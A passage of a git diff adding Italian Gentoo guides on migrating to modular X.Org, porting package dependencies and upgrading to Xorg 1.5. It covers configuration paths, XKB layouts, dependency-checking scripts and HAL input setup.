+<tr>
+  <ti>dlloader</ti>
+  <ti>
+    la versione 7.0 usa il dllloader in modo predefinito, e l'elfloader non
+    funziona.
+  </ti>
+</tr>
+<tr>
+  <ti>doc</ti>
+  <ti>Spostato in app-doc/xorg-docs</ti>
+</tr>
+<tr>
+  <ti>dmx</ti>
+  <ti>Contenuto in xorg-server almeno che USE=minimal</ti>
+</tr>
+<tr>
+  <ti>font-server</ti>
+  <ti>È possibile installare manualmente xfs.</ti>
+</tr>
+<tr>
+  <ti>ipv6</ti>
+  <ti>
+    Spostato nei singoli pacchetti che lo usano. Impostarlo globalmente in base
+    alle proprie necessità.
+  </ti>
+</tr>
+<tr>
+  <ti>minimal</ti>
+  <ti>
+    Per avere lo stesso effetto, installare solamente xorg-server invece che
+    xorg-x11. USE=minimal in xorg-server per evitare di compilare Xdmx, Xvfb e
+    Xnest. Se serve qualcosa di ancora più minimale, dare un'occhiata in
+    x11-base/kdrive.
+  </ti>
+</tr>
+<tr>
+  <ti>nls</ti>
+  <ti>In 7.0, USE=nls installa tutte le versioni non-ISO8859-1 dei font.</ti>
+</tr>
+<tr>
+  <ti>nocxx</ti>
+  <ti>Non esiste ancora un equivalente in 7.0</ti>
+</tr>
+<tr>
+  <ti>opengl</ti>
+  <ti>
+    Il nome è stato cambiato in "dri", il quale abilita il rendering diretto in
+    xorg-server e diversi driver. Sia che USE=dri sia abilitato, sia che sia
+    disabilitato, sarà possibile ottenere l'accelerazione 3D software tramite
+    Mesa.
+  </ti>
+</tr>
+<tr>
+  <ti>pam</ti>
+  <ti>Spostato nei singoli pacchetti che lo usano, come xorg-server e xdm</ti>
+</tr>
+<tr>
+  <ti>sdk</ti>
+  <ti>7.0 deve installare l'SDK come conseguenza della modularizzazione.</ti>
+</tr>
+<tr>
+  <ti>static</ti>
+  <ti>
+    Nella maggior parte dei casi non ha molto senso provare a compilare un
+    server statico in un mondo modulare, poichè i driver non verrebbero
+    compilati al suo interno.
+  </ti>
+</tr>
+<tr>
+  <ti>xprint</ti>
+  <ti>
+    Nel metapacchetto, installa libXp. Nelle altre applicazion abilita il
+    supporto a xprint. Molte persone non avranno bisogno di abilitare questa
+    flag USE.
+  </ti>
+</tr>
+<tr>
+  <ti>xv</ti>
+  <ti>
+    Non più opzionale perchè non salva molto spazio e causa altri problemi con
+    qualche pacchetto che si aspetta la sua presenza.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+
+<section>
+<title>Cos'è successo a tutti i file di configurazione?</title>
+<body>
+
+<p>
+Nel pacchetto X.Org 6.8 di Gentoo tutti i file di configurazione e gli script
+risiedevano in <path>/etc/X11</path>. In X.Org modulare l'ubicazione di questi
+file è stata cambiata dagli sviluppatori di X.Org stesso: in pratica i file di
+configurazione sono ancora in <path>/etc/X11</path>, ma gli script e le
+configurazioni predefinite ora risiedono in <path>/usr/lib/X11</path> (o
+<path>/usr/lib64/X11</path>) e <path>/usr/share/X11</path>.
+</p>
+
+<p>
+A causa della protezione delle configurazioni (CONFIG_PROTECT), probabilmente si
+avranno ancora i vecchi file di configurazione di X.Org 6.8 in
+<path>/etc/X11</path>, occuperanno spazio ma potranno risultare utili.
+</p>
+
+<p>
+Siccome queste nuove directory non sono in CONFIG_PROTECT, è importante che ogni
+modifica alle configurazioni predefinite venga fatta copiando i file necessari
+in <path>/etc/X11</path> e aggiornando la configurazione appropriata in quella
+posizione. In alternativa, ma non è consigliabile, la nuova ubicazione può
+essere protetta. Di seguito vengono proposti alcuni esempi:
+</p>
+
+<pre caption="Personalizzare l'inizializzazione di XDM">
+<comment>
+Per prima cosa copiare il file Xsetup_0 in /etc così verrà incluso nella protezione delle configurazioni.
+</comment>
+# <i>cp -a /usr/lib/X11/xdm/Xsetup_0 /etc/X11/xdm/</i>
+<comment>
+Modificare il file e personalizzarlo a piacimento.
+</comment>
+<comment>
+Infine, modificare xdm-config per aggiornare il percorso per questo file.
+</comment>
+# <i>nano /etc/X11/xdm/xdm-config</i>
+<comment>
+Cambiare la seguente sezione da così:
+</comment>
+! The following three resources set up display :0 as the console.
+DisplayManager._0.setup:        /usr/lib/X11/xdm/Xsetup_0
+DisplayManager._0.startup:      /usr/lib/X11/xdm/GiveConsole
+DisplayManager._0.reset:        /usr/lib/X11/xdm/TakeConsole
+<comment>
+a così:
+</comment>
+! The following three resources set up display :0 as the console.
+<i>DisplayManager._0.setup:        /etc/X11/xdm/Xsetup_0</i>
+DisplayManager._0.startup:      /usr/lib/X11/xdm/GiveConsole
+DisplayManager._0.reset:        /usr/lib/X11/xdm/TakeConsole
+</pre>
+<note>
+Nei sistemi a 64 bit multilib con il profilo senza il collegamento simbolico, bisogna sostituire lib con lib64.
+</note>
+
+<p>
+In questo esempio proposto da Joe Womack, verranno personalizzate alcune
+impostazioni di <c>xterm</c> Ciò può essere fatto sia globalmente sia per
+utente.
+</p>
+
+<pre caption="Personalizzare app-defaults/XTerm-color globalmente">
+<comment>
+Come sopra, creare una copia del file in /etc per includerlo nella protezione delle configurazioni:
+</comment>
+# <i>cp -a /usr/share/X11/app-defaults/XTerm-color /etc/X11/app-defaults/</i>
+<comment>
+Personalizzare il file a piacimento. A questo punto bisogna dire a Xt dove trovare i file tramite XFILESEARCHPATH. Inserire questa variabile in un file all'interno di /etc/env.d:
+</comment>
+# <i>echo '# Questo si applica alla configurazione globale.' >>
+/etc/env.d/10xpaths</i>
+# <i>echo 'XFILESEARCHPATH=/etc/X11/%T/%N:/usr/share/X11/%T/%N' >>
+/etc/env.d/10xpaths</i>
+</pre>
+
+<pre caption="Personalizzare app-defaults/XTerm-color localmente">
+<comment>Ci sono principalmente due modi per farlo:</comment>
+<comment>1) Configurare una directory app-defaults per utente:</comment>
+# <i>echo '# Questo si applica alla personalizzazione utente in $HOME/app-defaults.' >> /etc/env.d/10xpaths </i>
+# <i>echo 'XUSERFILESEARCHPATH=$HOME/%T/%N' >> /etc/env.d/10xpaths</i>
+
+<comment>
+2) Creare un file .Xdefaults o .Xresources e copiare le impostazioni che si
+vogliono modificare. Le modifiche di questo esempio fanno sì che tutti gli
+Xterm abbiano un cursore aranciano, siano eseguiti come shell di login, abbiano
+una barra di scorrimento come decorazione, e 1000 linee di buffer per lo scroll
+all'indietro:
+</comment>
+# <i>echo '! Xterm defaults'               >> .Xresources</i>
+# <i>echo 'XTerm*CursorColor:      orange' >> .Xresources</i>
+# <i>echo 'XTerm*loginShell:       true'   >> .Xresources</i>
+# <i>echo 'XTerm*scrollBar:        true'   >> .Xresources</i>
+# <i>echo 'XTerm*saveLines:        1000'   >> .Xresources</i>
+
+<comment>
+Per applicare queste impostazione, riavviare X o eseguire:
+</comment>
+# <i>xrdb -merge $HOME/.Xresources</i>
+</pre>
+
+<note>
+Vedere http://www.faqs.org/faqs/x-faq/part2/section-22.html per avere maggiori
+dettagli nell'impostazione di XFILESEARCHPATH e XUSERFILESEARCHPATH. Vedere
+http://tldp.org/HOWTO/XWindow-User-HOWTO/moreconfig.html#XRESOURCES per
+ulteriori dettagli su .Xresources.
+</note>
+
+</body>
+</section>
+
+<section>
+<title>Problemi dei driver</title>
+<body>
+
+<p>
+Sono state ricevute alcune segnalazioni in cui:
+</p>
+
+<ul>
+  <li>vesa blocca sistemi con schede video Matrox</li>
+  <li>vga produce una schermata molto bizzarra, divisa in quattro parti</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Far funzionare di nuovo l'accellerazione 3D</title>
+<body>
+
+<p>
+Per ottenere qualche informazione di debug da glxinfo per aiutare a far
+funzionare il rendering diretto si può usare questo comando:
+</p>
+
+<pre caption="Ottenere delle informazioni di debug da glxinfo">
+# <i>LIBGL_DEBUG=verbose glxinfo</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Autoriconoscimenti del protocollo del mouse</title>
+<body>
+
+<p>
+Se è stato impostato <c>"Protocol" "auto"</c> in xorg.conf per il proprio mouse,
+esso potrebbe non funzionare. Bisognerà specificare <c>"Protocol"
+"ExplorerPS/2"</c> o <c>"IMPS/2"</c> per far sì che il proprio mouse funzioni
+correttamente.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Ricevo messaggi d'errore riguardo la mancanza di libbitmap o
+libpcidata</title>
+<body>
+
+<p>
+Reinstallare <c>&gt;=xorg-server-0.99.1-r4</c>. Questo è un bug temporaneo
+nell'ebuild che causa questa cancellazione a seguito della rimozione di un
+pacchetto. Invece, <path>/usr/lib/xorg</path> dovrebbe venire cancellato quando
+non rimane nessun xorg-server nel sistema.
+</p>
+
+<p>
+Inoltre, assicurarsi che nessuna voce <c>ModulePath</c> esista in
+<path>/etc/X11/xorg.conf</path>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>gdm/kdm non funzionano</title>
+<body>
+
+<p>
+Se è stato installato X modulare in una nuova installazione di Gentoo, si
+potrebbe non avere il collegamento simbolico <path>/usr/X11R6</path> -&gt;
+<path>/usr</path>. il pacchetto <c>x11-base/xorg-x11</c> assicurerà che il
+collegamento simbolico esista durante il processo di emerge.
+</p>
+
+<p>
+Per aiutare nel tenere fuori le cose da <path>/usr/X11R6</path> si possono
+corregge i pacchetti che vengono installati lì dentro e inserire i rispettivi
+bug. Inoltre, ricordarsi di reinstallare i pacchetti.
+</p>
+
+<pre caption="Pacchetti che vengono installati in /usr/X11R6">
+# <i>cat ~/usr-x11r6-packages</i>
+# <i>emerge --pretend $(&lt; ~/usr-x11r6-packages )</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>XKB non funziona, non posso spostarmi tra i VT, ecc.</title>
+<body>
+
+<ul>
+<li>
+Molte configurazioni di XKB sono state rimosse, spostate o consolidate.
+Controllare in <path>/usr/share/X11/xkb/symbols/</path> per vedere cos'è
+successo al vecchio parametro XkbLayout in xorg.conf. Per esempio, per
+ripristinare la vecchia configurazione "us_intl", si dovrebbe mettere
+<c>"XkbLayout" "latin"</c>, <c>"XkbOptions"	"lv3:ralt_switch"</c>. Per
+ripristinare la vecchia configurazione "sk_qwerty", si dovrebbe mettere
+<c>"XkbLayout" "sk"</c>, <c>"XkbVariant" "qwerty"</c>. Per fare un esempio
+più complesso, si dovrebbe avere <c>"XkbLayout" "us,sk_qwerty"</c>. Per far sì
+che funzioni, la nuova impostazione dovrebbe essere <c>"XkbLayout" "us,sk"</c>,
+e il trucchetto è nella virgola presente nell'esempio seguente:
+<c>"XkbVariant" ",qwerty"</c>, perchè in questo modo si applicherà la variante
+solo alla seconda configurazione.
+</li>
+</ul>
+
+<pre caption="Scovare i cambiamenti di XKB">
+<comment>Controllare in /var/log/Xorg.0.log per individuare questo messaggio:</comment>
+<comment>(WW) Couldn't load XKB keymap, falling back to pre-XKB keymap</comment>
+<comment>Se non si ha questo errore, la propria installazione di XKB funziona già.</comment>
+# <i>grep Xkb /etc/X11/xorg.conf</i>
+Option "XkbModel"  "logibik"
+Option "XkbLayout"  "dvorak"
+Option "XkbOptions" "ctrl:swapcaps"
+<comment>Per prima cosa, guardare cos'è cambiato per la configurazione in uso, spostandosi nella directory symbols/pc .</comment>
+# <i>cd /usr/share/X11/xkb/symbols/</i>
+<comment>Se è stato installato xkbdata invece di xkeyboard-config, spostatrsi nella sottodirectory pc/ .</comment>
+# <i>ls *dvorak*</i>
+<comment>OK, non è stato mostrato nulla.</comment>
+<comment>Molti delle vecchie configurazioni sono state spostate nelle mappe caratteri codificate per paese</comment>
+# <i>ls *us*</i>
+us
+<comment>A questo punto controllare l'esistenza di una variante xkb_symbols chiamata dvorak.</comment>
+# <i>grep xkb_symbols.*dvorak us</i>
+xkb_symbols "dvorak" {
+<comment>Ciò significa che in xorg.conf ci sarò bisogno di Option "XkbLayout" "us" e Option "XkbVariant" "dvorak".</comment>
+
+<comment>Ma quando si proverà a testare questa configurazione con setxkbmap, si otterrà ancora un errore</comment>
+# <i>setxkbmap -model logibik -layout us -variant dvorak-option "ctrl:swapcaps"</i>
+<comment>Il modello potrebbe anche essere cambiato.</comment>
+# <i>cd /usr/share/X11/xkb/rules/</i>
+# <i>grep logibik xorg.lst</i>
+<comment>Nessun output da questo comando, per cui questo modello non esiste più. Si può comunque provare con dei modelli simili.</comment>
+# <i>grep logi* xorg.lst</i>
+logiaccess      Logitech Access Keyboard
+logicdit        Logitech Cordless Desktop iTouch
+logicdp         Logitech Cordless Desktop Pro
+logicdpa        Logitech Cordless Desktop Pro (alternate option)
+logicdpa2       Logitech Cordless Desktop Pro (alternate option2)
+logicdo         Logitech Cordless Desktop Optical
+logicfn         Logitech Cordless Freedom/Desktop Navigator
+logicdn         Logitech Cordless Desktop Navigator
+logidak         Logitech Deluxe Access Keyboard
+logiitc         Logitech iTouch Cordless Keyboard (model Y-RB6)
+logiik          Logitech Internet Keyboard
+logiitc         Logitech iTouch Cordless Keyboard (model Y-RB6)
+logiik          Logitech Internet Keyboard
+logiink         Logitech Internet Navigator Keyboard
+logiultrax      Logitech Ultra-X Keyboard
+<comment>Bene! Il modello "logiik" sembra abbastanza simile, perciò testarlo con setxkbmap.</comment>
+# <i>setxkbmap -model logiik -layout us -variant dvorak -option "ctrl:swapcaps"</i>
+<comment>Funziona correttamente, per cui impostare la voce XkbModel a quel valore.</comment>
+<comment>Dopo di ciò, tutto dovrebbe funzionare correttamente</comment>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Altri problemi</title>
+<body>
+
+<ul>
+  <li>
+    Il pacchetto <c>x11-base/xorg-x11</c> ora filtra tutte le voci ModulePath e
+    RgbPath contenute in <path>/etx/X11/xorg.conf</path>, poichè entrambi i
+    percorsi sono cambiati dalla versione precedente. Assicurarsi di eseguire
+    <c>etc-update</c> per applicare questi cambiamenti.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/desktop/x/x11/porting-modular-x-howto.xml b/xml/htdocs/proj/it/desktop/x/x11/porting-modular-x-howto.xml
new file mode 100644
index 00000000..1618828d
--- /dev/null
+++ b/xml/htdocs/proj/it/desktop/x/x11/porting-modular-x-howto.xml
@@ -0,0 +1,303 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/desktop/x/x11/porting-modular-x-howto.xml,v 1.2 2007/06/15 08:06:34 scen Exp $ -->
+
+<guide link="/proj/it/desktop/x/x11/porting-modular-x-howto.xml" lang="it">
+<title>Guida per il porting a X Modulare</title>
+
+<author title="Autore">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen@gentoo.org">Davide Cendron</mail>
+</author>
+
+<abstract>
+Questa guida spiega come effettuare il porting dei pacchetti per utilizzare la
+struttura modulare del nuovo X.Org.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-01-03</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+Ci si può (giustamente) meravigliare se il comodo pacchetto xorg-x11 si è
+trasformato in almeno 300 pacchetti sepatati . Questo cambiamento non è qualcosa
+che Gentoo sta facendo indipendentemente dallo sviluppo di X.Org; gli
+sviluppatori di questo software stanno suddividendo tutti i pacchetti in
+versioni assestanti, e il gruppo degli sviluppatori di Gentoo sta seguendo la
+stessa modalità.
+</p>
+
+<p>
+Si possono ottenere ulteriori dettagli nella <uri
+link="/proj/it/desktop/x/x11/modular-x-howto.xml#doc_chap1_sect1">Guida per la
+migrazione a X Modulare</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Controllo delle dipendenze</title>
+<section>
+<body>
+
+<p>
+Lo scopo è di enumerare le dipendenze nel modo più preciso possibile, affinchè
+agli utenti non vengano installati software inutili che non useranno mai, tipo
+XPrint. Perciò è necessario configurare le dipendenze direttamente alle librerie
+e ai file header necessari, invece che direttamente ad un qualche pacchetto
+virtual.
+</p>
+
+<p>
+Inoltre, non si garantisce che gli utenti continueranno ad avere installati dei
+sottopacchetti solo perchè si ha un metapacchetto installato; eliminando questa
+potenziale fonte di problemi gli sviluppatori risparmieranno un sacco di tempo,
+altrimenti sprecato a marcare INVALID i bug.
+</p>
+
+<p>
+Se viene trovato un pacchetto dipendente da uno qualsiasi dei metapacchetti
+esistenti, non si esiterà a stressare il suo manutentore per l'eternità.
+</p>
+
+<p>
+Il primo passaggio è quello di installare X modulare o trovare qualcuno che ce
+l'abbia installato. Ciò può essere fatto in un ambiente chroot -- attualmente
+non c'è la necessità che X sia in esecuzione, basta che siano disponibili i suoi
+file per il controllo delle dipendenze.
+</p>
+
+<pre caption="Ottenere gli script necessari">
+$ <i>wget http://dev.gentoo.org/~dberkholz/scripts/linking_libs.sh \
+  http://dev.gentoo.org/~dberkholz/scripts/included_headers.sh \
+  http://dev.gentoo.org/~betelgeuse/scripts/deputils/checkdeps.rb \
+  http://dev.gentoo.org/~betelgeuse/scripts/deputils/pkgutil.rb</i>
+</pre>
+
+<impo>
+<e>Non</e> usare <c>gentoolkit-0.2.1_pre9</c>, in quanto produce degli output
+invalidi. Leeggere <uri>https://bugs.gentoo.org/show_bug.cgi?id=111501</uri>.
+</impo>
+
+<p>
+Il primo script, <c>linking_libs.sh</c>, cerca nel log della compilazione del
+pacchetto tutte le librerie alla quale esso viene linkato, e stampa i pacchetti
+a cui le librerie appartengono. Per ottenere un log di compilazione, si può
+configurare opportunamente la variabile PORT_LOGDIR in
+<path>/etc/make.conf</path> o usare la ridirezione dell'output.
+</p>
+
+<pre caption="Eseguire linking_libs.sh per il pacchetto gdm">
+$ <i>ls /var/log/portage/*gdm* -l</i>
+-rw-r--r-- 1 root portage 556551 2006-01-09 11:41 /var/log/portage/8430-gdm-2.8.0.7.log
+-rw-r--r-- 1 root portage    855 2006-01-09 11:42 /var/log/portage/8431-gdm-2.8.0.7.log
+$ <i>linking_libs.sh /var/log/portage/8430-gdm-2.8.0.7.log</i>
+</pre>
+
+<p>
+Il secondo script, <c>included_headers.sh</c>, effettua una ricerca, nei file
+sorgenti del pacchetto, delle linee che cominciano con #include, e restituisce
+gli include file contenuti in &lt;&gt;. Dal 9 Settembre 2005 la ricerca funziona
+anche con gli include del tipo "".
+</p>
+
+<p>
+Il terzo script, <c>checkdeps.rb</c>, esamina i file installati appartenenti al
+pacchetto tramite il comando <c>scanelf</c> incluso in pax-utils. È utile nel
+caso di pacchetti binari o pacchetti che, diversamente da altri, nascondono
+l'output di compilazione. È uno script Ruby, per cui dipenderà sia da
+dev-lang/ruby come da app-misc/pax-utils. Il quarto script, <c>pkgutil.rb</c>, è
+una dipendenza di <c>checkdeps.rb</c>.
+</p>
+
+<p>
+Eseguendo i primi due script si otterrà un discreto elenco di pacchetti da usare
+sia in RDEPEND (per le librerie) che in DEPEND (per header e librerie). Se una
+libreria compare nella lista per RDEPEND ma non in quella per DEPEND bisogna
+stare attenti: può essere una "falsa dipendenza" (una libreria che viene linkata
+senza motivi apparenti). Un esempio conosciuto di questo tipo di dipendenza
+avviene con libXt: diversi pacchetti cercano gli header di libXt per verificare
+l'esistenza di X.
+</p>
+
+<p>
+Occasionalmente la ricerca relativa degli header in <c>included_headers.sh</c>
+troverà l'header sbagliato, perchè ce ne sono molti chiamati allo stesso modo,
+di conseguenza verrà restituito un pacchetto errato. Il verificarsi di questo
+errore è abbastanza ovvio, per esempio quando degli header per Windows fanno
+credere che app-emulation/wine sia una dipendenza.
+</p>
+
+<p>
+Se si specifica l'opzione <c>-d</c>, occasionalmente una libreria o header verrà
+segnalato come "Not found!" (ndt "Non Trovato!"). Ciò significa che l'header
+richiesto dal pacchetto è stato rimosso a seguito della sua compilazione, o che
+l'header è opzionale e non lo si sta usando. Nel caso della libreria, significa
+che essa è stata disinstallata o forse era solamente una libreria statica
+compilata internamente che non è mai stata installata.
+</p>
+
+<p>
+Vale la pena di perdere del tempo a capire quali librerie o header non trovate
+necessitano di essere inserite nella lista delle dipendenze, in particolar modo
+nel caso degli header siccome non occorre siano installati per effettuare la
+scansione.
+</p>
+
+<p>
+In certi casi, i pacchetti richiedono un qualche tipo di server X di ultima
+generazione. Ma se effettivamente non lo richiedono in fase di installazione,
+viene incoraggiata la pratica di non inserirlo in RDEPEND. Questo rende
+problematica l'installazione di X su macchine headless, dove i programmi
+effettivamente sono in esecuzione su un'altra macchina per cui necessitano solo
+delle librerie locale e degli header.
+</p>
+
+<p>
+Ci sono già un certo numero di server X nell'albero di Portage, per cui se si
+necessita di un server X, è consigliabile includerli tutti. I server X modulari
+sono in xorg-server; c'è un server DirectFB in xdirectfb; kdrive fornisce
+piccoli server X; ed ovviamente c'è il vecchio &lt;xorg-x11-7. Si deve
+specificare la restrizione ella versione di xorg-x11, per assicurarsi di usare
+un server X invece di un metapacchetto. Prossimamente è previsto lo spostamento
+di kdriver in xserver. Se si ha necessità di un server X, si prega di contattare
+un membro del gruppo di X. Verrà creato un virtual se un sufficiente numero di
+pacchetti lo richiederà.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Struttura delle dipendenze</title>
+<section>
+<body>
+
+<p>
+Le dipendenze andranno strutturate nel seguente modo:
+</p>
+
+<pre caption="Strutture di RDEPEND/DEPEND">
+RDEPEND="|| ( ( x11-libs/libXfoo
+		x11-libs/libXbar
+		blah? ( x11-libs/libXblah )
+		qualunque altra cosa mostrata nello script per le librerie
+		)
+		virtual/x11
+	)
+
+DEPEND="${RDEPEND}
+	|| ( (  x11-proto/fooproto
+		blah? ( x11-proto/blahproto )
+		qualunque cosa elencato in entrambi gli script
+		)
+		virtual/x11
+	)
+</pre>
+
+<impo>
+Alcuni dei risultati ottenuti dagli script <e>saranno</e> ridondanti. Se la voce
+RDEPEND di una libreria ne include un'altra, non occorre inserirle entrambe
+nelle dipendenze. se la voce DEPEND di una libreria include un proto, si
+<e>deve</e> inserirlo nella lista DEPEND del pacchetto. Tra le librerie che
+inseriscono dipendenze da molte altre ci sono <c>libXaw</c>, <c>libXmu</c>,
+<c>libXpm</c>, <c>libXcursor</c>, <c>libXt</c>. Per verificarlo basta eseguire
+<c>emerge -ep $library | grep lib[SIX]</c>. Inoltre si tenga ben presente che
+altri pacchetti come <c>gtk+</c> sono già stati portati alle dipendenze
+modulari, per cui inseriranno a loro volta le dipendenze necessarie.
+</impo>
+
+<note>
+Due USE flag separate includono allo stesso tempo X, ma una non dipende
+dall'altra. In questo caso, si potrà o duplicare la sezione delle dipendenze a X
+o definirla a parte e includerla come ${X_DEPEND}. Se viene definita a parte, ci
+si ricordi di includere le parti specifiche per ogni flag USE.
+</note>
+
+<p>
+L'obiettivo è di passare in modo predefinito al nuovo X modulare, lasciando
+comunque che i pacchetti degli utenti rispettino completamente le dipendenze con
+il vecchio, monolitico pacchetto xorg-x11. In futuro verrà completamente rimosso
+virtual/x11 per incoraggiare l'enumerazione delle dipendenze opportune.
+</p>
+
+<p>
+Nella revisione iniziale dell'albero, il gruppo responsabile del porting
+sistemerà solamente gli ebuild più recenti disponibili per gli utenti ~arch, e
+tutti quelli ancora più nuovi (aventi KEYWORDS=-* o inclusi in package.mask). I
+manutentori di pacchetti individuali potranno scegliere di effettuare anch'essi
+queste operazioni e lasciare che gli ebuild di cui non è stato effettuato il
+porting escano gradualmente dall'albero, ma probabilmente vorranno effettuare il
+porting di tutti i loro ebuild in una volta sola. Repoman prossimamente si
+bloccherà irreversibilmente con ogni ebuild avente una qualsiasi dipendenza con
+virtual/x11.
+</p>
+
+<impo>
+Questo permette agli utenti del ramo ~arch di usare in modo predefinito X
+modulare mentre si direzionano gli utenti non ~arch verso virtual/x11
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Come comportarsi con le flag USE</title>
+<section>
+<body>
+
+<p>
+Molti utenti hanno la USE flag xinerama disattivata. Ma se, mentre si sta
+eseguendo <c>included_headers.sh</c>, x11-proto/xineramaproto compare tra le
+dipendenze, si deve aggiungerla a DEPEND come voce condizionale alla USE
+xinerama, ed aggiungere x11-libs/libXinerama a RDEPEND come voce condizionale
+alla USE xinerama.
+</p>
+
+<p>
+Caleb ha sollevato un'interessante questione, ovvero: come ci si comporta con
+tutte le flag USE dei pacchetti che hanno tonnellate di dipendenze opzionali
+alle librerie X? In molti casi, è più sensato forzare l'abilitazione o la
+disabilitazione delle flag. Inoltre, si può facilitare questa operazione
+raggruppando le flag. Ci si assicuri di nominare le flag in base alla loro
+funzione, e non in base alla libreria o al pacchetto che utilizzano.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Far pervenire le correzioni nell'albero di Portage</title>
+<section>
+<body>
+
+<p>
+Se si è uno sviluppatore, si deve effettuarne il commit. Altrimenti, inserire un
+bug, assegnandolo al manutentore del pacchetto (elencato in metadata.xml),
+aggiungerlo come dipendenza nell'apposito bug tracker <uri
+link="http://bugs.gentoo.org/112675">#112675</uri>, e allegare una patch
+per correggere le dipendenze.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml b/xml/htdocs/proj/it/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml
new file mode 100644
index 00000000..d01f5c29
--- /dev/null
+++ b/xml/htdocs/proj/it/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml
@@ -0,0 +1,281 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml,v 1.2 2009/10/06 19:16:39 scen Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/it/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml" lang="it">
+<title>Guida all'aggiornamento a Xorg 1.5</title>
+
+<author title="Autore">
+  <mail link="remi"/>
+</author>
+<author title="Traduzione">
+  <mail link="della@jupiter-jazz.com">Federico Della Ricca</mail>
+</author>
+
+<abstract>
+Questa guida mostra come aggiornare Xorg alla versione 1.5.
+</abstract>
+
+<!-- The  content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2009-03-30</date>
+
+<chapter>
+<title>Cambiamenti relativi alle Ebuild</title>
+<section>
+<body>
+
+<ul>
+  <li>
+    <c>x11-misc/xkbdata</c> è ora completamente deprecato. Se non si stava
+    utilizzando il suo sostituto (<c>x11-misc/xkeyboard-config</c>), Portage
+    potrebbe chiedere di rimuoverlo prima di procedere all'aggiornamento.
+  </li>
+  <li>
+    X non impone più una doppia compilazione (nascosta all'utente) di
+    <c>media-libs/mesa</c>. Mesa ora compila il renderer software (swrast) e
+    qualsiasi altro driver per l'hardware indicato con la variabile
+    <c>VIDEO_CARDS</c>.
+  </li>
+  <li>
+    In seguito a questa modifica, la flag USE <c>dri</c> è stata rimossa. Xorg
+    avrà sempre il supporto a OpenGL almeno di non usare la flag
+    <c>USE=minimal</c>.
+  </li>
+  <li>
+    XPrint è stato rimosso da Xorg 1.6 e successivi, ma Gentoo ha deciso di
+    rimuoverlo anche dalla versione 1.5. Il supporto a XPrint è stato tolto da
+    tutte le librerie X.
+  </li>
+  <li>
+    Xorg ora supporta HAL per configurare automaticamente i dispositivi di
+    input a sistema acceso (hot-plug), vedere la sezione successiva per
+    configurarlo correttamente.
+  </li>
+  <li>
+    Il driver "synaptics" è ora fornito da
+    <c>x11-drivers/xf86-input-synaptics</c>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configurazione dell'Input</title>
+<section>
+<title>Con HAL (tramite xf86-input-evdev)</title>
+<body>
+
+<p>
+Sinteticamente, HAL permette di configurare le stesse proprietà di
+<path>xorg.conf</path> ma con maggiore flessibilità: per esempio è
+possibile avere layout distinti per dispositivi diversi. Tutto ciò è fornito
+dal driver <c>xf86-input-evdev</c>.
+</p>
+
+<p>
+Per prima cosa, assicurarsi che xorg-server sia stato compilato con
+<c>INPUT_DEVICES="evdev"</c> e che evdev sia attivato nel kernel.
+</p>
+
+<pre caption="Configurazione per kernel 2.6">
+Device Drivers ---&gt;
+
+Input device support ---&gt;
+
+--- Input device support
+[*]     Event interface
+</pre>
+
+<p>
+Ora è possibile configurare HAL per riportare correttamente il layout della
+tastiera. HAL è fornito con regole per diversi dispositivi, mantenute in
+<path>/usr/share/hal</path>.
+</p>
+
+<impo>
+<e>Non</e> modificare queste regole, sarebbero sovrascritte all'aggiornamento
+successivo di HAL. Si possono invece aggiungere le proprie regole dentro
+<path>/etc/hal/fdi/policy</path>.
+</impo>
+
+<p>
+File FDI di configurazione di esempio sono disponibili in
+<path>/usr/share/doc/hal-*/*.fdi*</path>. Copiare quello che più si avvicina
+alle proprie esigenze in <path>/etc/hal/fdi/policy</path>.
+</p>
+
+<p>
+Per esempio, se si vuole una configurazione di base per una tastiera non
+americana, copiare il contenuto di
+<path>/usr/share/doc/hal-*/use-estonian-layout.fdi.bz2</path> dentro
+<path>/etc/hal/fdi/policy/10-xinput-configuration.fdi</path> (usando
+<c>bzcat</c>) e modificarla in base al layout di tastiera che si vuole usare.
+</p>
+
+<p>
+Assicurarsi di leggere <c>man evdev</c> per vedere le capacità del driver e le
+opzioni (specialmente l'emulazione della rotella del mouse, l'emulazione
+del tasto centrale del mouse, ...).
+</p>
+
+<note>
+Le versioni correnti di HAL non sono (ancora) capaci di riconoscere
+automaticamente cambiamenti ai file FDI. Per applicare le modifiche bisogna
+far ripartire gli init script di HAL. Per essere sicuri che tutto sia a posto,
